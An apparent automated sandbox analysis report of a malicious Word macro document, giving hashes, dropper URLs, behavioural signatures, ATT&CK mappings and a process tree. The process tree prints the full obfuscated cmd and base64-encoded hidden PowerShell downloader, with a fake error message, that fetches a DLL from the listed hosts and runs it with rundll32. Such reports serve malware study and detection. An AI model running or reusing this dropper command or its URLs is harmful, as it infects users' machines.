28c31a00bdaa62e11585da0208310e6dcd305ff79f6e305f9d26fce447cf97bd

General

Target

28c31a00bdaa62e11585da0208310e6dcd305ff79f6e305f9d26fce447cf97bd.doc
Size

165KB
MD5

f721929d877a4bc4fcb62b8d2a1f7376
SHA1

9aa582e32256fd1c8a14035ee0bd409b6ac15565
SHA256

28c31a00bdaa62e11585da0208310e6dcd305ff79f6e305f9d26fce447cf97bd
SHA512

af5d84ed2bfcc764b23cccd33cdf92c1eaaee0eac887ee9081762c9edf8b0ce00a74691abc372cbc0c01bb6c6a45925caff4689a50fcaa7a736781a3c2bdcc82

Score

10^/10

ransomware

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://covisiononeness.org/new/F9v/

exe.dropper

https://www.oshiscafe.com/wp-admin/5Dm/

exe.dropper

https://lionrockbatteries.com/wp-snapshots/C/

exe.dropper

https://www.schmuckfeder.net/reference/ubpV/

exe.dropper

http://cirteklink.com/F0xAutoConfig/1Zb4/

exe.dropper

https://nimbledesign.miami/wp-admin/C/

exe.dropper

http://xunhong.net/sys-cache/D0/

Signatures

Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4068 3368 cmd.exe
Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

20 2204 powershell.exe
25 2204 powershell.exe
Loads dropped DLL 1 IoCs

Processes:

rundll32.exe

pid process

3244 rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
ransomware

System Information Discovery
T1082

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4068	3368	cmd.exe

flow	pid	process
20	2204	powershell.exe
25	2204	powershell.exe

pid	process
3244	rundll32.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

640 WINWORD.EXE
640 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

2204 powershell.exe
2204 powershell.exe
2204 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2204 powershell.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

640 WINWORD.EXE
640 WINWORD.EXE
640 WINWORD.EXE
640 WINWORD.EXE
640 WINWORD.EXE
640 WINWORD.EXE
640 WINWORD.EXE

pid	process
640	WINWORD.EXE
640	WINWORD.EXE

pid	process
2204	powershell.exe
2204	powershell.exe
2204	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2204	powershell.exe

pid	process
640	WINWORD.EXE
640	WINWORD.EXE
640	WINWORD.EXE
640	WINWORD.EXE
640	WINWORD.EXE
640	WINWORD.EXE
640	WINWORD.EXE

Suspicious use of WriteProcessMemory 9 IoCs

Processes:

cmd.exepowershell.exerundll32.exe

description	pid	process	target process
PID 4068 wrote to memory of 2924	4068	cmd.exe	msg.exe
PID 4068 wrote to memory of 2924	4068	cmd.exe	msg.exe
PID 4068 wrote to memory of 2204	4068	cmd.exe	powershell.exe
PID 4068 wrote to memory of 2204	4068	cmd.exe	powershell.exe
PID 2204 wrote to memory of 2944	2204	powershell.exe	rundll32.exe
PID 2204 wrote to memory of 2944	2204	powershell.exe	rundll32.exe
PID 2944 wrote to memory of 3244	2944	rundll32.exe	rundll32.exe
PID 2944 wrote to memory of 3244	2944	rundll32.exe	rundll32.exe
PID 2944 wrote to memory of 3244	2944	rundll32.exe	rundll32.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\28c31a00bdaa62e11585da0208310e6dcd305ff79f6e305f9d26fce447cf97bd.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:640

C:\Windows\system32\cmd.exe
cmd cmd /c m^s^g %username% /v Wo^rd exp^erien^ced an er^ror tryi^ng to op^en th^e fi^le. & p^owe^rs^he^ll^ -w hi^dd^en -^e^nc IAAgAHMAZQBUAC0AaQBUAEUAbQAgACgAJwB2AGEAUgBpAGEAYgBsAGUAOgAyACcAKwAnAGsAaAAnACsAJwA1AGkAJwApACAAKAAgAFsAdABZAHAARQBdACgAIgB7ADMAfQB7ADQAfQB7ADIAfQB7ADEAfQB7ADAAfQB7ADUAfQAiACAALQBmACcALgBkAGkAJwAsACcATwAnACwAJwBJACcALAAnAFMAWQBTAHQARQBNACcALAAnAC4AJwAsACcAcgBFAGMAVABvAHIAWQAnACkAIAAgACkAIAA7ACAAIAAkAHcAWAB1AFMAcgA9AFsAdABZAHAAZQBdACgAIgB7ADAAfQB7ADIAfQB7ADMAfQB7ADcAfQB7ADQAfQB7ADEAfQB7ADUAfQB7ADYAfQAiACAALQBGACcAUwB5AFMAdAAnACwAJwBvACcALAAnAEUAbQAuACcALAAnAG4AZQBUAC4AUwBlAHIAJwAsACcAQwBlAFAAJwAsACcASQBuAFQAbQBhAG4AYQBHACcALAAnAEUAUgAnACwAJwBWAEkAJwApACAAIAA7ACAAJABLAHYAZAA2AHcAaAB3AD0AJABEADYANABNACAAKwAgAFsAYwBoAGEAcgBdACgAMwAzACkAIAArACAAJABVADQANgBIADsAJABKADYANABVAD0AKAAnAFUAXwAnACsAJwAwAE4AJwApADsAIAAgACQAMgBrAGgANQBJADoAOgAiAEMAcgBgAEUAYQB0AGUAYABkAGkAcgBFAGAAQwB0AGAATwBSAFkAIgAoACQASABPAE0ARQAgACsAIAAoACgAJwB7ADAAfQBFAHQAMwBxACcAKwAoACcAdAAxACcAKwAnAGoAJwApACsAJwB7ADAAfQAnACsAJwBFACcAKwAoACcAcQB5ADQAJwArACcAdAAnACkAKwAnAHgAcQB7ADAAfQAnACkAIAAtAGYAIAAgAFsAYwBIAGEAcgBdADkAMgApACkAOwAkAEIANgA5AFAAPQAoACcARwAnACsAKAAnADEAMQAnACsAJwBHACcAKQApADsAIAAoACAAIABHAEMAaQAgACgAJwBWAGEAUgAnACsAJwBpAEEAQgBMAEUAOgB3AFgAJwArACcAdQBzAFIAJwApACAAIAApAC4AdgBBAGwAdQBFADoAOgAiAFMAZQBjAFUAYABSAGkAYABUAFkAUABSAG8AdABPAGAAYwBgAG8ATAAiACAAPQAgACgAJwBUACcAKwAoACcAbABzACcAKwAnADEAMgAnACkAKQA7ACQAUwA5ADIASgA9ACgAKAAnAEMAMAAnACsAJwAyACcAKQArACcASAAnACkAOwAkAFoAdABoAHkAZQA2ADgAIAA9ACAAKAAoACcARgAzACcAKwAnADIAJwApACsAJwBPACcAKQA7ACQAVQAxADUAWgA9ACgAKAAnAFcAJwArACcAOAAyACcAKQArACcAVgAnACkAOwAkAEwAegBoADQAYwBwAHgAPQAkAEgATwBNAEUAKwAoACgAJwB7ADAAfQBFACcAKwAnAHQAMwAnACsAJwBxAHQAJwArACcAMQAnACsAJwBqAHsAMAB9AEUAcQB5ADQAJwArACcAdAB4AHEAewAnACsAJwAwACcAKwAnAH0AJwApACAAIAAtAGYAIAAgAFsAQwBIAGEAcgBdADkAMgApACsAJABaAHQAaAB5AGUANgA4ACsAJwAuAGQAJwAgACsAIAAnAGwAbAAnADsAJABSADkAOQBEAD0AKAAoACcAVQA0ACcAKwAnADQAJwApACsAJwBSACcAKQA7ACQASAB2AHYAaAByADkAcAA9ACcAaAAnACAAKwAgACcAdAB0ACcAIAArACAAJwBwACcAOwAkAFUANQB0AHkAbQAyAGwAPQAoACgAJwBzAGcAJwArACcAIAAnACkAKwAnAHkAdwAnACsAJwAgAGEAJwArACgAJwBoADoAJwArACcALwAnACkAKwAoACcALwBjACcAKwAnAG8AdgAnACkAKwAoACcAaQBzACcAKwAnAGkAbwBuACcAKQArACcAbwAnACsAJwBuACcAKwAnAGUAJwArACcAbgBlACcAKwAoACcAcwBzAC4AbwByACcAKwAnAGcAJwArACcALwBuAGUAJwApACsAKAAnAHcALwBGADkAJwArACcAdgAvACcAKwAnACEAcwBnACcAKQArACgAJwAgAHkAJwArACcAdwAnACkAKwAoACcAIABhAGgAJwArACcAcwAnACkAKwAoACcAOgAnACsAJwAvAC8AdwB3ACcAKwAnAHcALgAnACkAKwAnAG8AcwAnACsAKAAnAGgAJwArACcAaQBzAGMAJwArACcAYQBmACcAKQArACgAJwBlACcAKwAnAC4AYwAnACkAKwAnAG8AJwArACcAbQAnACsAKAAnAC8AdwBwAC0AYQAnACsAJwBkAG0AaQBuACcAKQArACgAJwAvADUAJwArACcARABtACcAKQArACgAJwAvACcAKwAnACEAcwBnACcAKQArACcAIAB5ACcAKwAnAHcAIAAnACsAKAAnAGEAJwArACcAaABzADoAJwArACcALwAvACcAKQArACcAbAAnACsAKAAnAGkAJwArACcAbwBuAHIAJwApACsAKAAnAG8AJwArACcAYwBrAGIAJwArACcAYQB0AHQAZQByACcAKwAnAGkAZQAnACsAJwBzAC4AYwBvACcAKQArACgAJwBtAC8AJwArACcAdwAnACkAKwAoACcAcAAtAHMAJwArACcAbgAnACkAKwAoACcAYQAnACsAJwBwAHMAJwApACsAKAAnAGgAbwB0AHMALwAnACsAJwBDACcAKwAnAC8AJwApACsAJwAhACcAKwAoACcAcwBnACcAKwAnACAAeQB3ACAAYQBoAHMAJwApACsAKAAnADoALwAvACcAKwAnAHcAdwAnACkAKwAnAHcAJwArACcALgBzACcAKwAoACcAYwBoAG0AdQAnACsAJwBjAGsAZgAnACkAKwAoACcAZQAnACsAJwBkAGUAcgAnACkAKwAoACcALgAnACsAJwBuACcAKwAnAGUAJwArACcAdAAvAHIAZQBmAGUAcgAnACkAKwAnAGUAJwArACgAJwBuAGMAZQAnACsAJwAvAHUAYgBwAFYALwAnACsAJwAhAHMAJwApACsAKAAnAGcAIAB5AHcAIABhACcAKwAnAGgAOgAnACsAJwAvAC8AJwApACsAKAAnAGMAJwArACcAaQAnACsAJwByAHQAZQAnACsAJwBrAGwAaQBuAGsAJwApACsAKAAnAC4AJwArACcAYwBvAG0ALwAnACsAJwBGADAAJwApACsAKAAnAHgAQQB1AHQAbwBDACcAKwAnAG8AbgAnACsAJwBmAGkAJwArACcAZwAvACcAKQArACcAMQBaACcAKwAoACcAYgA0AC8AIQBzACcAKwAnAGcAIAB5AHcAIABhACcAKwAnAGgAcwA6ACcAKwAnAC8AJwArACcALwAnACsAJwBuAGkAbQAnACkAKwAnAGIAbAAnACsAJwBlAGQAJwArACcAZQBzACcAKwAoACcAaQBnAG4AJwArACcALgAnACkAKwAoACcAbQAnACsAJwBpAGEAJwApACsAKAAnAG0AJwArACcAaQAvAHcAcAAnACkAKwAoACcALQBhAGQAJwArACcAbQBpACcAKwAnAG4AJwApACsAJwAvACcAKwAnAEMAJwArACgAJwAvACEAcwBnACAAeQB3ACAAJwArACcAYQBoACcAKwAnADoALwAvACcAKwAnAHgAdQAnACsAJwBuAGgAJwApACsAJwBvACcAKwAnAG4AZwAnACsAKAAnAC4AbgAnACsAJwBlAHQAJwArACcALwBzAHkAcwAtAGMAYQBjACcAKQArACcAaAAnACsAJwBlACcAKwAoACcALwBEACcAKwAnADAAJwApACsAJwAvACcAKQAuACIAUgBlAHAATABgAEEAYABDAEUAIgAoACgAJwBzACcAKwAnAGcAJwArACgAJwAgAHkAdwAnACsAJwAgAGEAJwArACcAaAAnACkAKQAsACgAWwBhAHIAcgBhAHkAXQAoACcAbgBqACcALAAnAHQAcgAnACkALAAnAHkAagAnACwAJwBzAGMAJwAsACQASAB2AHYAaAByADkAcAAsACcAdwBkACcAKQBbADMAXQApAC4AIgBzAFAAYABMAGkAVAAiACgAJABQADQAXwBCACAAKwAgACQASwB2AGQANgB3AGgAdwAgACsAIAAkAFgAOQA3AEQAKQA7ACQAVgA0ADMARwA9ACgAJwBGADcAJwArACcAMQBKACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQATwBiADYAeABjAHoAXwAgAGkAbgAgACQAVQA1AHQAeQBtADIAbAApAHsAdAByAHkAewAoAC4AKAAnAE4AZQAnACsAJwB3AC0ATwBiAGoAJwArACcAZQBjACcAKwAnAHQAJwApACAAUwB5AFMAdABlAG0ALgBuAGUAVAAuAFcARQBiAGMATABpAGUATgBUACkALgAiAEQATwBgAFcAYABOAGwATwBBAEQAZgBgAEkATABlACIAKAAkAE8AYgA2AHgAYwB6AF8ALAAgACQATAB6AGgANABjAHAAeAApADsAJABBADgANABTAD0AKAAnAEkAJwArACgAJwAyADEAJwArACcASwAnACkAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtAEkAJwArACcAdABlACcAKwAnAG0AJwApACAAJABMAHoAaAA0AGMAcAB4ACkALgAiAGwARQBgAE4ARwB0AGgAIgAgAC0AZwBlACAANAAxADcAMAA4ACkAIAB7ACYAKAAnAHIAdQAnACsAJwBuAGQAbAAnACsAJwBsADMAMgAnACkAIAAkAEwAegBoADQAYwBwAHgALAAoACgAJwBBACcAKwAnAG4AeQBTACcAKQArACcAdAAnACsAKAAnAHIAaQBuACcAKwAnAGcAJwApACkALgAiAHQAbwBgAHMAdAByAGkAYABOAEcAIgAoACkAOwAkAFoANgA0AFQAPQAoACcAQgAnACsAKAAnADUANwAnACsAJwBaACcAKQApADsAYgByAGUAYQBrADsAJABDAF8ANQBWAD0AKAAoACcATgA2ACcAKwAnADcAJwApACsAJwBRACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARwBfAF8ARgA9ACgAKAAnAEIAMwAnACsAJwBfACcAKQArACcAQgAnACkA
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4068

C:\Windows\system32\msg.exe
msg Admin /v Word experienced an error trying to open the file.
2⤵
PID:2924

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -w hidden -enc IAAgAHMAZQBUAC0AaQBUAEUAbQAgACgAJwB2AGEAUgBpAGEAYgBsAGUAOgAyACcAKwAnAGsAaAAnACsAJwA1AGkAJwApACAAKAAgAFsAdABZAHAARQBdACgAIgB7ADMAfQB7ADQAfQB7ADIAfQB7ADEAfQB7ADAAfQB7ADUAfQAiACAALQBmACcALgBkAGkAJwAsACcATwAnACwAJwBJACcALAAnAFMAWQBTAHQARQBNACcALAAnAC4AJwAsACcAcgBFAGMAVABvAHIAWQAnACkAIAAgACkAIAA7ACAAIAAkAHcAWAB1AFMAcgA9AFsAdABZAHAAZQBdACgAIgB7ADAAfQB7ADIAfQB7ADMAfQB7ADcAfQB7ADQAfQB7ADEAfQB7ADUAfQB7ADYAfQAiACAALQBGACcAUwB5AFMAdAAnACwAJwBvACcALAAnAEUAbQAuACcALAAnAG4AZQBUAC4AUwBlAHIAJwAsACcAQwBlAFAAJwAsACcASQBuAFQAbQBhAG4AYQBHACcALAAnAEUAUgAnACwAJwBWAEkAJwApACAAIAA7ACAAJABLAHYAZAA2AHcAaAB3AD0AJABEADYANABNACAAKwAgAFsAYwBoAGEAcgBdACgAMwAzACkAIAArACAAJABVADQANgBIADsAJABKADYANABVAD0AKAAnAFUAXwAnACsAJwAwAE4AJwApADsAIAAgACQAMgBrAGgANQBJADoAOgAiAEMAcgBgAEUAYQB0AGUAYABkAGkAcgBFAGAAQwB0AGAATwBSAFkAIgAoACQASABPAE0ARQAgACsAIAAoACgAJwB7ADAAfQBFAHQAMwBxACcAKwAoACcAdAAxACcAKwAnAGoAJwApACsAJwB7ADAAfQAnACsAJwBFACcAKwAoACcAcQB5ADQAJwArACcAdAAnACkAKwAnAHgAcQB7ADAAfQAnACkAIAAtAGYAIAAgAFsAYwBIAGEAcgBdADkAMgApACkAOwAkAEIANgA5AFAAPQAoACcARwAnACsAKAAnADEAMQAnACsAJwBHACcAKQApADsAIAAoACAAIABHAEMAaQAgACgAJwBWAGEAUgAnACsAJwBpAEEAQgBMAEUAOgB3AFgAJwArACcAdQBzAFIAJwApACAAIAApAC4AdgBBAGwAdQBFADoAOgAiAFMAZQBjAFUAYABSAGkAYABUAFkAUABSAG8AdABPAGAAYwBgAG8ATAAiACAAPQAgACgAJwBUACcAKwAoACcAbABzACcAKwAnADEAMgAnACkAKQA7ACQAUwA5ADIASgA9ACgAKAAnAEMAMAAnACsAJwAyACcAKQArACcASAAnACkAOwAkAFoAdABoAHkAZQA2ADgAIAA9ACAAKAAoACcARgAzACcAKwAnADIAJwApACsAJwBPACcAKQA7ACQAVQAxADUAWgA9ACgAKAAnAFcAJwArACcAOAAyACcAKQArACcAVgAnACkAOwAkAEwAegBoADQAYwBwAHgAPQAkAEgATwBNAEUAKwAoACgAJwB7ADAAfQBFACcAKwAnAHQAMwAnACsAJwBxAHQAJwArACcAMQAnACsAJwBqAHsAMAB9AEUAcQB5ADQAJwArACcAdAB4AHEAewAnACsAJwAwACcAKwAnAH0AJwApACAAIAAtAGYAIAAgAFsAQwBIAGEAcgBdADkAMgApACsAJABaAHQAaAB5AGUANgA4ACsAJwAuAGQAJwAgACsAIAAnAGwAbAAnADsAJABSADkAOQBEAD0AKAAoACcAVQA0ACcAKwAnADQAJwApACsAJwBSACcAKQA7ACQASAB2AHYAaAByADkAcAA9ACcAaAAnACAAKwAgACcAdAB0ACcAIAArACAAJwBwACcAOwAkAFUANQB0AHkAbQAyAGwAPQAoACgAJwBzAGcAJwArACcAIAAnACkAKwAnAHkAdwAnACsAJwAgAGEAJwArACgAJwBoADoAJwArACcALwAnACkAKwAoACcALwBjACcAKwAnAG8AdgAnACkAKwAoACcAaQBzACcAKwAnAGkAbwBuACcAKQArACcAbwAnACsAJwBuACcAKwAnAGUAJwArACcAbgBlACcAKwAoACcAcwBzAC4AbwByACcAKwAnAGcAJwArACcALwBuAGUAJwApACsAKAAnAHcALwBGADkAJwArACcAdgAvACcAKwAnACEAcwBnACcAKQArACgAJwAgAHkAJwArACcAdwAnACkAKwAoACcAIABhAGgAJwArACcAcwAnACkAKwAoACcAOgAnACsAJwAvAC8AdwB3ACcAKwAnAHcALgAnACkAKwAnAG8AcwAnACsAKAAnAGgAJwArACcAaQBzAGMAJwArACcAYQBmACcAKQArACgAJwBlACcAKwAnAC4AYwAnACkAKwAnAG8AJwArACcAbQAnACsAKAAnAC8AdwBwAC0AYQAnACsAJwBkAG0AaQBuACcAKQArACgAJwAvADUAJwArACcARABtACcAKQArACgAJwAvACcAKwAnACEAcwBnACcAKQArACcAIAB5ACcAKwAnAHcAIAAnACsAKAAnAGEAJwArACcAaABzADoAJwArACcALwAvACcAKQArACcAbAAnACsAKAAnAGkAJwArACcAbwBuAHIAJwApACsAKAAnAG8AJwArACcAYwBrAGIAJwArACcAYQB0AHQAZQByACcAKwAnAGkAZQAnACsAJwBzAC4AYwBvACcAKQArACgAJwBtAC8AJwArACcAdwAnACkAKwAoACcAcAAtAHMAJwArACcAbgAnACkAKwAoACcAYQAnACsAJwBwAHMAJwApACsAKAAnAGgAbwB0AHMALwAnACsAJwBDACcAKwAnAC8AJwApACsAJwAhACcAKwAoACcAcwBnACcAKwAnACAAeQB3ACAAYQBoAHMAJwApACsAKAAnADoALwAvACcAKwAnAHcAdwAnACkAKwAnAHcAJwArACcALgBzACcAKwAoACcAYwBoAG0AdQAnACsAJwBjAGsAZgAnACkAKwAoACcAZQAnACsAJwBkAGUAcgAnACkAKwAoACcALgAnACsAJwBuACcAKwAnAGUAJwArACcAdAAvAHIAZQBmAGUAcgAnACkAKwAnAGUAJwArACgAJwBuAGMAZQAnACsAJwAvAHUAYgBwAFYALwAnACsAJwAhAHMAJwApACsAKAAnAGcAIAB5AHcAIABhACcAKwAnAGgAOgAnACsAJwAvAC8AJwApACsAKAAnAGMAJwArACcAaQAnACsAJwByAHQAZQAnACsAJwBrAGwAaQBuAGsAJwApACsAKAAnAC4AJwArACcAYwBvAG0ALwAnACsAJwBGADAAJwApACsAKAAnAHgAQQB1AHQAbwBDACcAKwAnAG8AbgAnACsAJwBmAGkAJwArACcAZwAvACcAKQArACcAMQBaACcAKwAoACcAYgA0AC8AIQBzACcAKwAnAGcAIAB5AHcAIABhACcAKwAnAGgAcwA6ACcAKwAnAC8AJwArACcALwAnACsAJwBuAGkAbQAnACkAKwAnAGIAbAAnACsAJwBlAGQAJwArACcAZQBzACcAKwAoACcAaQBnAG4AJwArACcALgAnACkAKwAoACcAbQAnACsAJwBpAGEAJwApACsAKAAnAG0AJwArACcAaQAvAHcAcAAnACkAKwAoACcALQBhAGQAJwArACcAbQBpACcAKwAnAG4AJwApACsAJwAvACcAKwAnAEMAJwArACgAJwAvACEAcwBnACAAeQB3ACAAJwArACcAYQBoACcAKwAnADoALwAvACcAKwAnAHgAdQAnACsAJwBuAGgAJwApACsAJwBvACcAKwAnAG4AZwAnACsAKAAnAC4AbgAnACsAJwBlAHQAJwArACcALwBzAHkAcwAtAGMAYQBjACcAKQArACcAaAAnACsAJwBlACcAKwAoACcALwBEACcAKwAnADAAJwApACsAJwAvACcAKQAuACIAUgBlAHAATABgAEEAYABDAEUAIgAoACgAJwBzACcAKwAnAGcAJwArACgAJwAgAHkAdwAnACsAJwAgAGEAJwArACcAaAAnACkAKQAsACgAWwBhAHIAcgBhAHkAXQAoACcAbgBqACcALAAnAHQAcgAnACkALAAnAHkAagAnACwAJwBzAGMAJwAsACQASAB2AHYAaAByADkAcAAsACcAdwBkACcAKQBbADMAXQApAC4AIgBzAFAAYABMAGkAVAAiACgAJABQADQAXwBCACAAKwAgACQASwB2AGQANgB3AGgAdwAgACsAIAAkAFgAOQA3AEQAKQA7ACQAVgA0ADMARwA9ACgAJwBGADcAJwArACcAMQBKACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQATwBiADYAeABjAHoAXwAgAGkAbgAgACQAVQA1AHQAeQBtADIAbAApAHsAdAByAHkAewAoAC4AKAAnAE4AZQAnACsAJwB3AC0ATwBiAGoAJwArACcAZQBjACcAKwAnAHQAJwApACAAUwB5AFMAdABlAG0ALgBuAGUAVAAuAFcARQBiAGMATABpAGUATgBUACkALgAiAEQATwBgAFcAYABOAGwATwBBAEQAZgBgAEkATABlACIAKAAkAE8AYgA2AHgAYwB6AF8ALAAgACQATAB6AGgANABjAHAAeAApADsAJABBADgANABTAD0AKAAnAEkAJwArACgAJwAyADEAJwArACcASwAnACkAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtAEkAJwArACcAdABlACcAKwAnAG0AJwApACAAJABMAHoAaAA0AGMAcAB4ACkALgAiAGwARQBgAE4ARwB0AGgAIgAgAC0AZwBlACAANAAxADcAMAA4ACkAIAB7ACYAKAAnAHIAdQAnACsAJwBuAGQAbAAnACsAJwBsADMAMgAnACkAIAAkAEwAegBoADQAYwBwAHgALAAoACgAJwBBACcAKwAnAG4AeQBTACcAKQArACcAdAAnACsAKAAnAHIAaQBuACcAKwAnAGcAJwApACkALgAiAHQAbwBgAHMAdAByAGkAYABOAEcAIgAoACkAOwAkAFoANgA0AFQAPQAoACcAQgAnACsAKAAnADUANwAnACsAJwBaACcAKQApADsAYgByAGUAYQBrADsAJABDAF8ANQBWAD0AKAAoACcATgA2ACcAKwAnADcAJwApACsAJwBRACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARwBfAF8ARgA9ACgAKAAnAEIAMwAnACsAJwBfACcAKQArACcAQgAnACkA
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2204

C:\Windows\system32\rundll32.exe
"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Et3qt1j\Eqy4txq\F32O.dll,AnyString
3⤵
- Suspicious use of WriteProcessMemory
PID:2944

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Et3qt1j\Eqy4txq\F32O.dll,AnyString
4⤵
- Loads dropped DLL
PID:3244

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\Et3qt1j\Eqy4txq\F32O.dll
MD5
db6b1b751143235793c97e2060753b03

SHA1
72c2dd8d677a9bbc86e624383d42fd0496144a5c

SHA256
01e14d7d7d88ef53d4f9443170bff682dc9c72f13451c18c9032a5e440975e98

SHA512
b637c6554f875cdbfe67673969b39f672ce4f5b4cf3da0a79e2bf151d878d4fb5edec4759018a8e7f1e2362ee11cf4e35760ba4cf13ba738474818e8cc94c96c

Download Submit
\Users\Admin\Et3qt1j\Eqy4txq\F32O.dll
MD5
db6b1b751143235793c97e2060753b03

SHA1
72c2dd8d677a9bbc86e624383d42fd0496144a5c

SHA256
01e14d7d7d88ef53d4f9443170bff682dc9c72f13451c18c9032a5e440975e98

SHA512
b637c6554f875cdbfe67673969b39f672ce4f5b4cf3da0a79e2bf151d878d4fb5edec4759018a8e7f1e2362ee11cf4e35760ba4cf13ba738474818e8cc94c96c

Download Submit
memory/640-2-0x00007FFC11220000-0x00007FFC11230000-memory.dmp

Filesize
64KB

Download
memory/640-3-0x00007FFC11220000-0x00007FFC11230000-memory.dmp

Filesize
64KB

Download
memory/640-4-0x00007FFC11220000-0x00007FFC11230000-memory.dmp

Filesize
64KB

Download
memory/640-5-0x00007FFC11220000-0x00007FFC11230000-memory.dmp

Filesize
64KB

Download
memory/640-6-0x00007FFC30830000-0x00007FFC30E67000-memory.dmp

Filesize
6.2MB

Download
memory/2204-10-0x000001AA97820000-0x000001AA97822000-memory.dmp

Filesize
8KB

Download
memory/2204-9-0x00007FFC29960000-0x00007FFC2A34C000-memory.dmp

Filesize
9.9MB

Download
memory/2204-11-0x000001AA97D70000-0x000001AA97D71000-memory.dmp

Filesize
4KB

Download
memory/2204-12-0x000001AA97823000-0x000001AA97825000-memory.dmp

Filesize
8KB

Download
memory/2204-13-0x000001AAB0040000-0x000001AAB0041000-memory.dmp

Filesize
4KB

Download
memory/2204-14-0x000001AA97826000-0x000001AA97828000-memory.dmp

Filesize
8KB

Download
memory/2204-8-0x0000000000000000-mapping.dmp

Download
memory/2924-7-0x0000000000000000-mapping.dmp

Download
memory/2944-15-0x0000000000000000-mapping.dmp

Download
memory/3244-17-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads